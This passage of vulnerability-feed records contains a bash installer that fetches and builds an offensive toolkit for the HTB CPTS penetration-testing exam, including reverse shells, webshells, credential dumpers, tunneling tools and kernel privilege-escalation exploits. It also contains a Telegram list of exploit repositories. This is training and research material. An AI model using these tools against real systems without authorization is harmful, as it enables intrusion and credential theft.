\"kerbrute\"\n\n    clone \"krbrelayx\"               \"https://github.com/dirkjanm/krbrelayx.git\"                                     \"$D/krbrelayx\"\n    pip_install \"krbrelayx\"         \"$D/krbrelayx\"\n\n    clone \"NetNTLMtoSilverTicket\"   \"https://github.com/NotMedic/NetNTLMtoSilverTicket.git\"                         \"$D/NetNTLMtoSilverTicket\"\n\n    clone \"noPac\"                   \"https://github.com/Ridter/noPac.git\"                                           \"$D/noPac\"\n    pip_install \"noPac\"             \"$D/noPac\"\n\n    clone \"PassTheCert\"             \"https://github.com/AlmondOffSec/PassTheCert.git\"                               \"$D/PassTheCert\"\n\n    clone \"PetitPotam\"              \"https://github.com/topotam/PetitPotam.git\"                                     \"$D/PetitPotam\"\n\n    clone \"PKINITtools\"             \"https://github.com/dirkjanm/PKINITtools.git\"                                   \"$D/PKINITtools\"\n    pip_install \"PKINITtools\"       \"$D/PKINITtools\"\n\n    clone \"pywhisker\"               \"https://github.com/ShutdownRepo/pywhisker.git\"                                 \"$D/pywhisker\"\n    pip_install \"pywhisker\"         \"$D/pywhisker\"\n\n    clone \"Security-Assessment-PS\"  \"https://github.com/itzvenom/Security-Assessment-PS.git\"                        \"$D/Security-Assessment-PS\"\n\n    clone \"targetedKerberoast\"      \"https://github.com/ShutdownRepo/targetedKerberoast.git\"                        \"$D/targetedKerberoast\"\n    pip_install \"targetedKerberoast\" \"$D/targetedKerberoast\"\n\n    clone \"windapsearch\"            \"https://github.com/ropnop/windapsearch.git\"                                    \"$D/windapsearch\"\n    pip_install \"windapsearch\"      \"$D/windapsearch\"\n\n    # BloodHound CLI (precompiled)\n    if [ ! -f \"$D/bloodhound/bloodhound-cli\" ]; then\n        mkdir -p \"$D/bloodhound\"\n        local BH_URL\n        BH_URL=$(curl -fsSL \"https://api.github.com/repos/SpecterOps/BloodHound/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*bloodhound-cli-linux-amd64\\.tar\\.gz\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$BH_URL\" ]; then\n            download_tar \"BloodHound CLI\" \"$BH_URL\" \"$D/bloodhound\"\n            chmod +x \"$D/bloodhound/bloodhound-cli\" 2>/dev/null || true\n        else\n            warn \"BloodHound CLI: could not resolve download URL \u2014 check github.com/SpecterOps/BloodHound/releases\"\n        fi\n    else\n        warn \"BloodHound CLI already present\"\n    fi\n\n    # Rubeus (precompiled \u2014 Ghostpack)\n    if [ ! -f \"$D/Rubeus/Rubeus.exe\" ]; then\n        mkdir -p \"$D/Rubeus\"\n        download \"Rubeus.exe\" \\\n            \"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe\" \\\n            \"$D/Rubeus/Rubeus.exe\" \"false\"\n    else\n        warn \"Rubeus.exe already present\"\n    fi\n}\n\n# ==============================================================================\n# PAYLOADS\n# ==============================================================================\n\ninstall_payloads() {\n    section \"Payload Tools\"\n    local D=\"$TOOLS_DIR/Payloads\"\n\n    clone \"CVE-2023-36664 Ghostscript\" \"https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection.git\" \"$D/Ghostscript\"\n    clone \"nishang\"                    \"https://github.com/samratashok/nishang.git\"                                     \"$D/nishang\"\n    clone \"ntlm_theft\"                 \"https://github.com/Greenwolf/ntlm_theft.git\"                                    \"$D/ntlm_theft\"\n    clone \"php-reverse-shell\"          \"https://github.com/pentestmonkey/php-reverse-shell.git\"                         \"$D/php-reverse-shell\"\n    clone \"reverse_shell_splunk\"       \"https://github.com/0xjpuff/reverse_shell_splunk.git\"                            \"$D/reverse_shell_splunk\"\n    clone \"wwwolf-php-webshell\"        \"https://github.com/WhiteWinterWolf/wwwolf-php-webshell.git\"                     \"$D/wwwolf-php-webshell\"\n\n    # RunasCs (precompiled)\n    if [ ! -f \"$D/RunasCs/RunasCs.exe\" ]; then\n        mkdir -p \"$D/RunasCs\"\n        download_zip \"RunasCs\" \\\n            \"https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip\" \\\n            \"$D/RunasCs\"\n    else\n        warn \"RunasCs (Payloads) already present\"\n    fi\n\n    # ysoserial.net (precompiled)\n    if [ ! -f \"$D/ysoserial/ysoserial.exe\" ]; then\n        mkdir -p \"$D/ysoserial\"\n        local YSOS_URL\n        YSOS_URL=$(curl -fsSL \"https://api.github.com/repos/pwntester/ysoserial.net/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*\\.zip\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$YSOS_URL\" ]; then\n            download_zip \"ysoserial.net\" \"$YSOS_URL\" \"$D/ysoserial\"\n        else\n            warn \"ysoserial.net: could not resolve download URL \u2014 check github.com/pwntester/ysoserial.net/releases\"\n        fi\n    else\n        warn \"ysoserial already present\"\n    fi\n}\n\n# ==============================================================================\n# PIVOT / TUNNELING\n# ==============================================================================\n\ninstall_pivot() {\n    section \"Pivot / Tunneling Tools\"\n    local D=\"$TOOLS_DIR/Pivot\"\n\n    # chisel \u2014 build from source\n    clone \"chisel\" \"https://github.com/jpillora/chisel.git\" \"$D/chisel\"\n    build_go \"chisel\" \"$D/chisel\" \"chisel\"\n\n    # dnscat2 \u2014 Ruby server + C client\n    clone \"dnscat2\" \"https://github.com/iagox86/dnscat2.git\" \"$D/dnscat2\"\n    if [ -f \"$D/dnscat2/server/Gemfile\" ]; then\n        log \"Installing dnscat2 gems...\"\n        (cd \"$D/dnscat2/server\" && gem install bundler -q 2>/dev/null && bundle install -q 2>/dev/null) \\\n            || warn \"dnscat2 gem install failed\"\n    fi\n    if [ -f \"$D/dnscat2/client/Makefile\" ]; then\n        log \"Building dnscat2 C client...\"\n        (cd \"$D/dnscat2/client\" && make -s 2>/dev/null) && log \"dnscat2 client built OK\" || warn \"dnscat2 client build failed\"\n    fi\n\n    clone \"dnscat2-powershell\" \"https://github.com/lukebaggett/dnscat2-powershell.git\" \"$D/dnscat2-powershell\"\n\n    # ptunnel-ng \u2014 build from source\n    clone \"ptunnel-ng\" \"https://github.com/utoni/ptunnel-ng.git\" \"$D/ptunnel-ng\"\n    if [ -f \"$D/ptunnel-ng/autogen.sh\" ]; then\n        log \"Building ptunnel-ng...\"\n        (cd \"$D/ptunnel-ng\" && ./autogen.sh 2>/dev/null && make -s 2>/dev/null) \\\n            && log \"ptunnel-ng built OK\" || warn \"ptunnel-ng build failed\"\n    else\n        build_make \"ptunnel-ng\" \"$D/ptunnel-ng\"\n    fi\n\n    clone \"rpivot\" \"https://github.com/klsecservices/rpivot.git\" \"$D/rpivot\"\n\n    # ligolo-ng (precompiled \u2014 no public git repo with source in original)\n    local LIGOLO_DIR=\"$D/ligolo-ng\"\n    if [ ! -f \"$LIGOLO_DIR/proxy\" ]; then\n        mkdir -p \"$LIGOLO_DIR\"\n        local LIGOLO_VER\n        LIGOLO_VER=$(curl -fsSL \"https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest\" \\\n            | grep '\"tag_name\"' | grep -o 'v[0-9.]*' | head -1)\n        LIGOLO_VER=\"${LIGOLO_VER:-v0.8.2}\"\n        log \"Downloading ligolo-ng $LIGOLO_VER...\"\n        download_tar \"ligolo-ng proxy (linux)\"  \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_proxy_${LIGOLO_VER#v}_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\" || \\\n        download_tar \"ligolo-ng proxy (linux, alt URL)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_proxy_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\"\n        chmod +x \"$LIGOLO_DIR/proxy\" 2>/dev/null || true\n\n        download_tar \"ligolo-ng agent (linux)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_agent_${LIGOLO_VER#v}_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\" || true\n        chmod +x \"$LIGOLO_DIR/agent\" 2>/dev/null || true\n\n        download_zip \"ligolo-ng agent (windows)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_agent_${LIGOLO_VER#v}_windows_amd64.zip\" \\\n            \"$LIGOLO_DIR\" || true\n    else\n        warn \"ligolo-ng already present\"\n    fi\n}\n\n# ==============================================================================\n# PRIVILEGE ESCALATION\n# ==============================================================================\n\ninstall_privesc() {\n    section \"Privilege Escalation Tools\"\n    local GHOSTPACK=\"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master\"\n\n    # ---- Windows ----\n    local DW=\"$TOOLS_DIR/Privesc/Windows\"\n\n    clone \"Windows-PrivEsc-Cookbook\"  \"https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook.git\" \"$DW/Cookbook\"\n    clone \"EnableAllTokenPrivs\"       \"https://github.com/fashionproof/EnableAllTokenPrivs.git\"                       \"$DW/EnableAllTokenPrivs\"\n    clone \"EoPLoadDriver\"             \"https://github.com/TarlogicSecurity/EoPLoadDriver.git\"                         \"$DW/EoPLoadDriver\"\n    clone \"psgetsystem\"               \"https://github.com/decoder-it/psgetsystem.git\"                                 \"$DW/psgetsystem\"\n    clone \"RoguePlanet\"               \"https://github.com/MSNightmare/RoguePlanet.git\"                                \"$DW/RoguePlanet\"\n    clone \"SeTcbPrivilege_escalation\" \"https://github.com/mSameerMalik/SeTcbPrivilege_escalation.git\"                \"$DW/SeTcbPrivilege_escalation\"\n\n    # GodPotato\n    if [ ! -f \"$DW/GodPotato/GodPotato-NET4.exe\" ]; then\n        mkdir -p \"$DW/GodPotato\"\n        download \"GodPotato-NET4.exe\" \\\n            \"https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe\" \\\n            \"$DW/GodPotato/GodPotato-NET4.exe\" \"false\"\n    else\n        warn \"GodPotato already present\"\n    fi\n\n    # JuicyPotato\n    if [ ! -f \"$DW/JuicyPotato/JuicyPotato.exe\" ]; then\n        mkdir -p \"$DW/JuicyPotato\"\n        download \"JuicyPotato.exe\" \\\n            \"https://github.com/ohpe/juicy-potato/releases/latest/download/JuicyPotato.exe\" \\\n            \"$DW/JuicyPotato/JuicyPotato.exe\" \"false\"\n    else\n        warn \"JuicyPotato already present\"\n    fi\n\n    # PrintSpoofer\n    if [ ! -f \"$DW/PrintSpoofer/PrintSpoofer64.exe\" ]; then\n        mkdir -p \"$DW/PrintSpoofer\"\n        download \"PrintSpoofer64.exe\" \\\n            \"https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe\" \\\n            \"$DW/PrintSpoofer/PrintSpoofer64.exe\" \"false\"\n        download \"PrintSpoofer32.exe\" \\\n            \"https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer32.exe\" \\\n            \"$DW/PrintSpoofer/PrintSpoofer32.exe\" \"false\"\n    else\n        warn \"PrintSpoofer already present\"\n    fi\n\n    # FullPowers\n    if [ ! -f \"$DW/FullPowers/FullPowers.exe\" ]; then\n        mkdir -p \"$DW/FullPowers\"\n        download \"FullPowers.exe\" \\\n            \"https://github.com/itm4n/FullPowers/releases/latest/download/FullPowers.exe\" \\\n            \"$DW/FullPowers/FullPowers.exe\" \"false\"\n    else\n        warn \"FullPowers already present\"\n    fi\n\n    # RunasCs\n    if [ ! -f \"$DW/RunasCs/RunasCs.exe\" ]; then\n        mkdir -p \"$DW/RunasCs\"\n        download_zip \"RunasCs (Privesc)\" \\\n            \"https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip\" \\\n            \"$DW/RunasCs\"\n    else\n        warn \"RunasCs (Privesc) already present\"\n    fi\n\n    # Ghostpack binaries: Seatbelt, SharpUp, SharpChrome\n    for bin in Seatbelt.exe SharpUp.exe SharpChrome.exe; do\n        local bname=\"${bin%%.*}\"\n        mkdir -p \"$DW/$bname\"\n        if [ ! -f \"$DW/$bname/$bin\" ]; then\n            download \"$bin\" \"$GHOSTPACK/$bin\" \"$DW/$bname/$bin\" \"false\"\n        else\n        warn \"$bin already present\"\n    fi\n    done\n\n    # SeBackupPrivilege DLLs\n    if [ ! -f \"$DW/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll\" ]; then\n        mkdir -p \"$DW/SeBackupPrivilege\"\n        local SBP_BASE=\"https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug\"\n        download \"SeBackupPrivilegeCmdLets.dll\" \"$SBP_BASE/SeBackupPrivilegeCmdLets.dll\" \"$DW/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll\" \"false\"\n        download \"SeBackupPrivilegeUtils.dll\"   \"$SBP_BASE/SeBackupPrivilegeUtils.dll\"   \"$DW/SeBackupPrivilege/SeBackupPrivilegeUtils.dll\"   \"false\"\n    else\n        warn \"SeBackupPrivilege already present\"\n    fi\n\n    # LaZagne.exe (Windows)\n    if [ ! -f \"$DW/LaZagne/LaZagne.exe\" ]; then\n        mkdir -p \"$DW/LaZagne\"\n        download \"LaZagne.exe\" \\\n            \"https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe\" \\\n            \"$DW/LaZagne/LaZagne.exe\" \"false\"\n    else\n        warn \"LaZagne.exe (Privesc/Windows) already present\"\n    fi\n\n    # ---- Linux ----\n    local DL=\"$TOOLS_DIR/Privesc/Linux\"\n\n    clone \"CVE-2021-3156 BaronSamedit\" \"https://github.com/blasty/CVE-2021-3156.git\"                          \"$DL/Baronsamedit\"\n    build_make \"CVE-2021-3156\"         \"$DL/Baronsamedit\"\n\n    clone \"CVE-2022-2588 DirtyCred\"    \"https://github.com/Markakd/CVE-2022-2588.git\"                         \"$DL/DirtyCred\"\n\n    clone \"CVE-2022-0847 DirtyPipe\"    \"https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git\"  \"$DL/DirtyPipe\"\n    build_make \"CVE-2022-0847\"         \"$DL/DirtyPipe\"\n\n    clone \"fail2ban exploit\"           \"https://github.com/rvizx/fail2ban.git\"                                 \"$DL/fail2ban\"\n\n    clone \"CVE-2023-2640 GameOverlay\"  \"https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629.git\"             \"$DL/GameOverlay\"\n\n    clone \"CVE-2021-3493 OverlayFS\"    \"https://github.com/briskets/CVE-2021-3493.git\"                        \"$DL/OverlayFS-CVE-2021-3493\"\n    if [ -f \"$DL/OverlayFS-CVE-2021-3493/exploit.c\" ]; then\n        log \"Compiling CVE-2021-3493...\"\n        gcc \"$DL/OverlayFS-CVE-2021-3493/exploit.c\" -o \"$DL/OverlayFS-CVE-2021-3493/exploit\" 2>/dev/null \\\n            && log \"CVE-2021-3493 compiled OK\" || warn \"CVE-2021-3493 compile failed\"\n    fi\n\n    clone \"CVE-2023-0386 OverlayFS\"    \"https://github.com/xkaneiki/CVE-2023-0386\"                            \"$DL/OverlayFS-CVE-2023-0386\"\n    build_make \"CVE-2023-0386\"         \"$DL/OverlayFS-CVE-2023-0386\"\n\n    clone \"PwnKit\"                     \"https://github.com/ly4k/PwnKit\"                                        \"$DL/PwnKit\"\n    build_make \"PwnKit\"                \"$DL/PwnKit\"\n\n    clone \"CVE-2024-1086\"              \"https://github.com/Notselwyn/CVE-2024-1086\"                            \"$DL/use_after_free-CVE-2024-1086\"\n\n    # ---- App ----\n    clone \"Nexus-Sonatype-RCE\" \\\n        \"https://github.com/aaryan-11-x/Nexus-Sonatype-Repository-Manager-Groovy-Script-RCE-Authenticated-.git\" \\\n        \"$TOOLS_DIR/Privesc/App/Nexus-Sonatype-Repository-Manager\"\n}\n\n# ==============================================================================\n# RECON\n# ==============================================================================\n\ninstall_recon() {\n    section \"Reconnaissance Tools\"\n\n    # ---- Linux ----\n    local DL=\"$TOOLS_DIR/Recon/Linux\"\n\n    clone \"LaZagne\"          \"https://github.com/AlessandroZ/LaZagne.git\"              \"$DL/LaZagne\"\n    pip_install \"LaZagne\"    \"$DL/LaZagne\"\n\n    clone \"LinEnum\"          \"https://github.com/rebootuser/LinEnum.git\"               \"$DL/LinEnum\"\n    chmod +x \"$DL/LinEnum/LinEnum.sh\" 2>/dev/null || true\n\n    clone \"linuxprivchecker\" \"https://github.com/sleventyeleven/linuxprivchecker.git\"  \"$DL/linuxprivchecker\"\n\n    clone \"mimipenguin\"      \"https://github.com/huntergregal/mimipenguin.git\"         \"$DL/mimipenguin\"\n    build_make \"mimipenguin\" \"$DL/mimipenguin\"\n\n    # linpeas (precompiled)\n    if [ ! -f \"$DL/linpeas/linpeas.sh\" ]; then\n        mkdir -p \"$DL/linpeas\"\n        download \"linpeas.sh\" \\\n            \"https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh\" \\\n            \"$DL/linpeas/linpeas.sh\"\n    else\n        warn \"linpeas already present\"\n    fi\n\n    # pspy (precompiled)\n    if [ ! -f \"$DL/pspy/pspy64\" ]; then\n        mkdir -p \"$DL/pspy\"\n        download \"pspy64\" \"https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64\" \"$DL/pspy/pspy64\"\n        download \"pspy32\" \"https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32\" \"$DL/pspy/pspy32\"\n    else\n        warn \"pspy already present\"\n    fi\n\n    # ---- Network ----\n    local DN=\"$TOOLS_DIR/Recon/Network\"\n\n    clone \"PCredz\"           \"https://github.com/lgandx/PCredz.git\"                   \"$DN/PCredz\"\n    pip_install \"PCredz\"     \"$DN/PCredz\"\n\n    # nmap static binary\n    if [ ! -f \"$DN/nmap-static-binary/nmap\" ]; then\n        mkdir -p \"$DN/nmap-static-binary\"\n        download \"nmap (static linux)\" \\\n            \"https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap\" \\\n            \"$DN/nmap-static-binary/nmap\"\n        download \"nmap.exe (static win)\" \\\n            \"https://github.com/andrew-d/static-binaries/raw/master/binaries/windows/x86/nmap.exe\" \\\n            \"$DN/nmap-static-binary/nmap.exe\" \"false\"\n    else\n        warn \"nmap static binary already present\"\n    fi\n\n    # rustscan\n    if [ ! -f \"$DN/rustscan/rustscan\" ]; then\n        mkdir -p \"$DN/rustscan\"\n        log \"Downloading rustscan...\"\n        local RS_URL\n        RS_URL=$(curl -fsSL \"https://api.github.com/repos/RustScan/RustScan/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*amd64\\.deb\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$RS_URL\" ]; then\n            curl -fsSL \"$RS_URL\" -o /tmp/rustscan.deb \\\n                && sudo dpkg -i /tmp/rustscan.deb \\\n                && cp \"$(command -v rustscan)\" \"$DN/rustscan/rustscan\" 2>/dev/null \\\n                && rm -f /tmp/rustscan.deb \\\n                || warn \"rustscan install failed\"\n        else\n            warn \"rustscan: could not resolve .deb URL \u2014 check github.com/RustScan/RustScan/releases\"\n        fi\n    else\n        warn \"rustscan already present\"\n    fi\n\n    # ---- Web ----\n    local DW=\"$TOOLS_DIR/Recon/Web\"\n\n    clone \"Bashfuscator\"      \"https://github.com/Bashfuscator/Bashfuscator\"           \"$DW/Bashfuscator\"\n    pip_install \"Bashfuscator\" \"$DW/Bashfuscator\"\n\n    clone \"FinalRecon\"        \"https://github.com/thewhiteh4t/FinalRecon.git\"          \"$DW/FinalRecon\"\n    pip_install \"FinalRecon\"  \"$DW/FinalRecon\"\n\n    clone \"liffy\"             \"https://github.com/mzfr/liffy.git\"                      \"$DW/liffy\"\n    pip_install \"liffy\"       \"$DW/liffy\"\n\n    clone \"Security-Wordlist\" \"https://github.com/DragonJAR/Security-Wordlist.git\"     \"$DW/Security-Wordlist\"\n\n    clone \"subbrute\"          \"https://github.com/TheRook/subbrute.git\"                \"$DW/subbrute\"\n\n    clone \"username-anarchy\"  \"https://github.com/urbanadventurer/username-anarchy.git\" \"$DW/username-anarchy\"\n\n    clone \"XSStrike\"          \"https://github.com/s0md3v/XSStrike.git\"                 \"$DW/XSStrike\"\n    pip_install \"XSStrike\"    \"$DW/XSStrike\"\n\n    # Aquatone (precompiled)\n    if [ ! -f \"$DW/Aquatone/aquatone\" ]; then\n        mkdir -p \"$DW/Aquatone\"\n        local AQ_URL\n        AQ_URL=$(curl -fsSL \"https://api.github.com/repos/michenriksen/aquatone/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*linux_amd64[^\"]*\\.zip\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$AQ_URL\" ]; then\n            download_zip \"aquatone\" \"$AQ_URL\" \"$DW/Aquatone\"\n            chmod +x \"$DW/Aquatone/aquatone\" 2>/dev/null || true\n        else\n            warn \"aquatone: could not resolve download URL\"\n        fi\n    else\n        warn \"aquatone already present\"\n    fi\n\n    # ---- Windows ----\n    local DWWIN=\"$TOOLS_DIR/Recon/Windows\"\n    local GHOSTPACK=\"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master\"\n\n    for bin in Seatbelt.exe SharpChrome.exe SharpUp.exe; do\n        if [ ! -f \"$DWWIN/$bin\" ]; then\n            download \"$bin\" \"$GHOSTPACK/$bin\" \"$DWWIN/$bin\" \"false\"\n        else\n        warn \"$bin (Recon/Windows) already present\"\n    fi\n    done\n\n    # LaZagne.exe (Windows recon copy)\n    if [ ! -f \"$DWWIN/LaZagne.exe\" ]; then\n        download \"LaZagne.exe (Recon/Windows)\" \\\n            \"https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe\" \\\n            \"$DWWIN/LaZagne.exe\" \"false\"\n    else\n        warn \"LaZagne.exe (Recon/Windows) already present\"\n    fi\n}\n\n# ==============================================================================\n# SUMMARY\n# ==============================================================================\n\nprint_summary() {\n    section \"Installation Complete\"\n    log \"Tools installed to: $TOOLS_DIR\"\n    log \"Log file: $LOG_FILE\"\n\n    local warns errors\n    warns=$(grep -c '^\\[!\\]' \"$LOG_FILE\" 2>/dev/null || echo 0)\n    errors=$(grep -c '^\\[-\\]' \"$LOG_FILE\" 2>/dev/null || echo 0)\n\n    echo \"\"\n    echo -e \"${YELLOW}Warnings:${NC} $warns  ${RED}Errors:${NC} $errors\"\n    echo \"\"\n    if [ \"$errors\" -gt 0 ]; then\n        echo -e \"${RED}Failed installs:${NC}\"\n        grep '^\\[-\\]' \"$LOG_FILE\"\n    fi\n    echo \"\"\n    echo -e \"${YELLOW}NOTE:${NC} Windows .exe files are ready to transfer to target hosts.\"\n    echo -e \"${YELLOW}NOTE:${NC} Python tools with venvs may need: python3 -m venv venv && pip3 install -r requirements.txt\"\n    echo -e \"${YELLOW}NOTE:${NC} Some C exploits may need kernel-version-specific recompilation on target.\"\n}\n\n# ==============================================================================\n# MAIN\n# ==============================================================================\n\nmain() {\n    echo -e \"${BLUE}\"\n    cat <<'BANNER'\n  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n  \u2551   HTB CPTS Tool Installer \u2014 Parrot OS (HTB Edition)  \u2551\n  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\nBANNER\n    echo -e \"  Tools Dir : $TOOLS_DIR\"\n    echo -e \"  Log File  : $LOG_FILE${NC}\"\n    echo \"\"\n\n    preflight\n    install_activedir\n    install_payloads\n    install_pivot\n    install_privesc\n    install_recon\n    print_summary\n}\n\nmain \"$@\"\n", "creation_timestamp": "2026-07-01T20:11:33.684589Z"}, {"uuid": "c27a5a53-ca8e-4068-b3b3-3c4e71611fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/jy_CyhxbtEWlhnajCmyTd-hTeqgI9UJS5l_RVbH-38GWgO8", "content": "", "creation_timestamp": "2026-08-15T08:00:11.613487Z"}, {"uuid": "ad17c0fc-f761-4173-ac79-8908cfa686b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/GLnJGRJ1b6yw9YuvIrVSy8JBX42WVxn_PDAHVocDHgMRjZ8", "content": "", "creation_timestamp": "2026-08-15T08:00:11.749735Z"}, {"uuid": "bb8d987b-b48a-46dc-9408-9a87cd310b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/iAyG5_PF2op1hGJM5t0HpqX0KHJkZE5fTgcY0V0bLgDupCk", "content": "", "creation_timestamp": "2026-08-15T08:00:11.805370Z"}, {"uuid": "325089e0-ded3-4fac-b47a-2e85b87e120f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/90", "content": "1. https://github.com/Sachinart/CVE-2025-32432\nCheck for CVE-2025-32432 vulnerability\n#github #exploit\n\n\n2. https://github.com/helidem/CVE-2025-24054-PoC\nProof of Concept for NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n3. https://github.com/ajdumanhug/CVE-2023-46818\nCVE-2023-46818 Python3 Exploit for ISPConfig <= 3.2.11 PHP Code Injection\n#github #exploit\n\n\n4. https://github.com/0x6rss/CVE-2025-24071_PoC\nNTLM hash leak via .library-ms inside ZIP/RAR (CVE-2025-24071)\n#github #poc\n\n\n5. https://github.com/trickest/cve/blob/main/2022/CVE-2022-42092.md\nCVE-2022-42092 \u2013 Backdrop CMS RCE PoC\n#github #exploit\n\n\n6. https://github.com/nomi-sec/PoC-in-GitHub\nAggregated CVE Exploits and PoCs from GitHub\n#github #tool\n\n\n7. https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker\nLinux Container Escape CVE-2022-0492 vulnerability checker\n#github #exploit\n\n\n8. https://github.com/xigney/CVE-2025-24054_PoC\nAlternate NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n9. https://github.com/bipbopbup/CVE-2023-46818-python-exploit\nPython PoC for CVE-2023-46818 in ISPConfig\n#github #exploit\n\n\n10. https://github.com/Marcejr117/CVE-2025-24071_PoC\nNTLM Hash Leak using .library-ms via ZIP trick (CVE-2025-24071)\n#github #poc\n\n\n11. https://github.com/Ostorlab/KEV\nKnown Exploited Vulnerabilities Detector\n#github #scanner\n\n\n12. https://github.com/edoardottt/missing-cve-nuclei-templates\nMissing CVE Detection via Nuclei Templates\n#github #scanner\n\n\n13. https://github.com/hyp3rlinx/Advisories\nZero-Day Security Advisories and Exploits by Hyp3rlinx\n#github #exploit\n\n\n14. https://github.com/Kubashok/apple-cve-repos\nApple CVE Database Links Repository\n#github #cve\n\n\n15. https://github.com/esnet/Seccubus_v2\nSeccubus Test Data for Vulnerability Scanners\n#github #tool\n\n\n16. https://github.com/skordemir/Xml2Ontology\nNessus XML Vulnerability Report Samples\n#github #data\n\n\n17. https://github.com/madirish/hector\nHector: Vulnerability Management Tool with Sample Nessus Reports\n#github #tool\n\n\n18. https://github.com/projectdiscovery/nuclei-templates/issues/8804\nNuclei Template request for ISPConfig CVE-2023-46818\n#github #scanner\n\n\n19. https://github.com/projectdiscovery/nuclei-templates/issues/12020\nNuclei Template PoC Request for CraftCMS CVE-2025-32432\n#github #scanner\n\n\n20. https://github.com/tanjiti/sec_profile\nSecurity Profile Aggregator \u2013 CVE, CISA, NVD, etc.\n#github #intel\n\n\n21. https://github.com/cube0x0/CVE-2021-1675\nPrintNightmare Exploit PoC (CVE-2021-1675 / CVE-2021-34527)\n#github #exploit\n\n22. https://github.com/Maldev-Academy/LsassHijackingViaReg\n\nInjecting DLL into LSASS at boot\n#github #tools\n\n\nOpen-source tools and proof-of-concept (PoC) repositories related to recent CVEs, exploits, and security research. These resources are valuable for educational purposes and can aid students in understanding real-world vulnerabilities and exploitation techniques.", "creation_timestamp": "2026-08-20T00:00:06.617722Z"}, {"uuid": "0634df50-4486-49b4-80f2-98dda480d047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/iAyG5_PF2op1hGJM5t0HpqX0KHJkZE5fTgcY0V0bLgDupCk", "content": "", "creation_timestamp": "2026-08-16T00:00:11.364127Z"}, {"uuid": "be088907-4809-4ca7-be6f-4dc2ac2644b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": 